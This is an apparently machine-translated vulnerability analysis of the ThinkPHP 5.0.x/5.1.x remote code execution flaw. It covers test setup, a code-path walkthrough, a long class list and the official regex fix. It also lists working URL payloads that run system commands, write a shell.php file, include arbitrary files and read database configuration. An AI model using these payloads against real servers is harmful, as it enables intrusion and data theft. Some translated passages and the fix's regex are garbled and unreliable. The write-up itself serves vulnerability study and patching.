Vulnerability summary
- The flaw lies in that the bottom layer of ThinkPHP does not check the validity of the controller name well, resulting in that the user can call any method of any class without opening the forced routing, which eventually leads to a remote code execution vulnerability
- Vulnerability impact version:
5.0.7<=ThinkPHP5<=5.0.22 ,5.1.0<=ThinkPHP<=5.1.30
Initial configuration
Get test environment code
composer create-project --prefer-dist topthink/think tpdemo
Add composer The require d field of the JSON file is set as follows
"require": { "php": ">=5.6.0", "topthink/framework": "5.1.30" },
Then execute composer update
Exploit vulnerability
Payload
5.1.x ?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?> ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?> ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 5.0.x ?s=index/think\config/get&name=database.username # Get configuration information ?s=index/\think\Lang/load&file=../../test.jpg # Include any file ?s=index/\think\Config/load&file=../../t.php # Contains any php file ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
Vulnerability analysis
By default, ThinkPHP installed does not enable the forced routing option, and the routing compatibility mode is enabled by default
If the forced routing is not enabled, it indicates that the route compatibility mode s parameter can be used, and the framework does not detect the controller name enough, indicating that any controller may be called, so you can try to use it http://site/?s= Module / controller / method to test; In the previous ThinkPHP SQL injection analysis article, it was mentioned that all user parameters will be processed by the input method of the Request class, which will call the filterValue method, and call is used in the filterValue method_ user_ Func, then try using this method
http://127.0.0.1/cms/public/?s=index/\think\Request/input&filter[]=phpinfo&data=1
Check its commit record and find that it adds the detection of controller name
Follow up ThinkPHP / library / think / route / dispatch / module PHP, set a breakpoint in the $controller code segment, and you can see that the name of the controller is obtained from $result, and the value of $result comes from pathinfo in compatibility mode, that is, the s parameter
Follow up ThinkPHP / library / think / App PHP, enter the run method of App class, and then call the run method of Dispatch class to follow up ThinkPHP / library / think / route / Dispatch PHP, it is found that this method will call the key function exec
In the exec function, the program uses the reflection mechanism to call the methods of the class. The classes, methods and parameters here are controllable, and the legitimacy of the controller name is not detected by the program in the whole process, which is also the direct cause of the remote code execution vulnerability
The above is for thinkphp5 For vulnerability analysis of version 1. X, if you directly take this version of payload to test thinkphp5 In version 0. X, you will find that many payloads cannot succeed because the classes loaded in the two versions are different, resulting in different available classes
ThinkPHP 5.1.x ThinkPHP 5.0.x stdClass stdClass Exception Exception ErrorException ErrorException Closure Closure Generator Generator DateTime DateTime DateTimeImmutable DateTimeImmutable DateTimeZone DateTimeZone DateInterval DateInterval DatePeriod DatePeriod LibXMLError LibXMLError DOMException DOMException DOMStringList DOMStringList DOMNameList DOMNameList DOMImplementationList DOMImplementationList DOMImplementationSource DOMImplementationSource DOMImplementation DOMImplementation DOMNode DOMNode DOMNameSpaceNode DOMNameSpaceNode DOMDocumentFragment DOMDocumentFragment DOMDocument DOMDocument DOMNodeList DOMNodeList DOMNamedNodeMap DOMNamedNodeMap DOMCharacterData DOMCharacterData DOMAttr DOMAttr DOMElement DOMElement DOMText DOMText DOMComment DOMComment DOMTypeinfo DOMTypeinfo DOMUserDataHandler DOMUserDataHandler DOMDomError DOMDomError DOMErrorHandler DOMErrorHandler DOMLocator DOMLocator DOMConfiguration DOMConfiguration DOMCdataSection DOMCdataSection DOMDocumentType DOMDocumentType DOMNotation DOMNotation DOMEntity DOMEntity DOMEntityReference DOMEntityReference DOMProcessingInstruction DOMProcessingInstruction DOMStringExtend DOMStringExtend DOMXPath DOMXPath finfo finfo LogicException LogicException BadFunctionCallException BadFunctionCallException BadMethodCallException BadMethodCallException DomainException DomainException InvalidArgumentException InvalidArgumentException LengthException LengthException OutOfRangeException OutOfRangeException RuntimeException RuntimeException OutOfBoundsException OutOfBoundsException OverflowException OverflowException RangeException RangeException UnderflowException UnderflowException UnexpectedValueException UnexpectedValueException RecursiveIteratorIterator RecursiveIteratorIterator IteratorIterator IteratorIterator FilterIterator FilterIterator RecursiveFilterIterator RecursiveFilterIterator CallbackFilterIterator CallbackFilterIterator RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator ParentIterator ParentIterator LimitIterator LimitIterator CachingIterator CachingIterator RecursiveCachingIterator RecursiveCachingIterator NoRewindIterator NoRewindIterator AppendIterator AppendIterator InfiniteIterator InfiniteIterator RegexIterator RegexIterator RecursiveRegexIterator RecursiveRegexIterator EmptyIterator EmptyIterator RecursiveTreeIterator RecursiveTreeIterator ArrayObject ArrayObject ArrayIterator ArrayIterator RecursiveArrayIterator RecursiveArrayIterator SplFileInfo SplFileInfo DirectoryIterator DirectoryIterator FilesystemIterator FilesystemIterator RecursiveDirectoryIterator RecursiveDirectoryIterator GlobIterator GlobIterator SplFileObject SplFileObject SplTempFileObject SplTempFileObject SplDoublyLinkedList SplDoublyLinkedList SplQueue SplQueue SplStack SplStack SplHeap SplHeap SplMinHeap SplMinHeap SplMaxHeap SplMaxHeap SplPriorityQueue SplPriorityQueue SplFixedArray SplFixedArray SplObjectStorage SplObjectStorage MultipleIterator MultipleIterator SessionHandler SessionHandler ReflectionException ReflectionException Reflection Reflection ReflectionFunctionAbstract ReflectionFunctionAbstract ReflectionFunction ReflectionFunction ReflectionParameter ReflectionParameter ReflectionMethod ReflectionMethod ReflectionClass ReflectionClass ReflectionObject ReflectionObject ReflectionProperty ReflectionProperty ReflectionExtension ReflectionExtension ReflectionZendExtension ReflectionZendExtension __PHP_Incomplete_Class __PHP_Incomplete_Class php_user_filter php_user_filter Directory Directory SimpleXMLElement SimpleXMLElement SimpleXMLIterator SimpleXMLIterator SoapClient SoapClient SoapVar SoapVar SoapServer SoapServer SoapFault SoapFault SoapParam SoapParam SoapHeader SoapHeader PharException PharException Phar Phar PharData PharData PharFileInfo PharFileInfo XMLReader XMLReader XMLWriter XMLWriter ZipArchive ZipArchive PDOException PDOException PDO PDO PDOStatement PDOStatement PDORow PDORow CURLFile CURLFile Collator Collator NumberFormatter NumberFormatter Normalizer Normalizer Locale Locale MessageFormatter MessageFormatter IntlDateFormatter IntlDateFormatter ResourceBundle ResourceBundle Transliterator Transliterator IntlTimeZone IntlTimeZone IntlCalendar IntlCalendar IntlGregorianCalendar IntlGregorianCalendar Spoofchecker Spoofchecker IntlException IntlException IntlIterator IntlIterator IntlBreakIterator IntlBreakIterator IntlRuleBasedBreakIterator IntlRuleBasedBreakIterator IntlCodePointBreakIterator IntlCodePointBreakIterator IntlPartsIterator IntlPartsIterator UConverter UConverter JsonIncrementalParser JsonIncrementalParser mysqli_sql_exception mysqli_sql_exception mysqli_driver mysqli_driver mysqli mysqli mysqli_warning mysqli_warning mysqli_result mysqli_result mysqli_stmt mysqli_stmt Composer\Autoload\ComposerStaticInit81a0c33d33d83a86fdd976e2aff753d9 Composer\Autoload\ComposerStaticInit8a67cf04fc9c0db5b85a9d897c12a44c think\Loader think\Loader think\Error think\Error think\Container think\Config think\App think\App think\Env think\Request think\Config think\Hook think\Hook think\Env think\Facade think\Lang think\facade\Env think\Log env think\Route think\Db think\Lang think\Request think\facade\Route route think\Route think\route\Rule think\route\RuleGroup think\route\Domain think\route\RuleItem think\route\RuleName think\route\Dispatch think\route\dispatch\Url think\route\dispatch\Module think\Middleware think\Cookie think\View think\view\driver\Think think\Template think\template\driver\File think\Log think\log\driver\File think\Session think\Debug think\Cache think\cache\Driver think\cache\driver\File
Vulnerability repair
The official repair method is to add the regular expression ^ [A-Za-z](\w) * $) to check the validity of the controller name
Attack summary
Refer to master Mochazz's audit process